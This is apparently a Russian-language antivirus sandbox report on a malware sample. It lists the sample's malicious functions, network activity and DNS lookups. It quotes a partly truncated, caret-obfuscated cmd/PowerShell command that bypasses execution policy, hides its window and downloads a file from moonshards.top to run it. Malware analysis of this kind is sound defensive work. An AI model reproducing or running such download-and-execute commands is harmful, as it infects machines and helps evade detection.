Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRSh^e^L^l^.^ex^e ^-^E^XEc^u^T^iON^pO^Lic^Y Byp^a^SS^ -NOp^Rof^Ile -winD^Ow^S^ty^lE^ hId^D^e^N^ (nEw-^OB^J^EcT sy^S^te^M.nET^.WEbclIent).^dOWNLO^a^D^FiLe(^'http://moonshards...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRSh^e^L^l^.^ex^e ^-^E^XEc^u^T^iON^pO^Lic^Y Byp^a^SS^ -NOp^Rof^Ile -winD^Ow^S^ty^lE^ hId^D^e^N^ (nEw-^OB^J^EcT sy^S^te^M.nET^.WEbclIent).^dOWNLO^a^D^FiLe(^'http://moonshards...' (со скрытым окном)
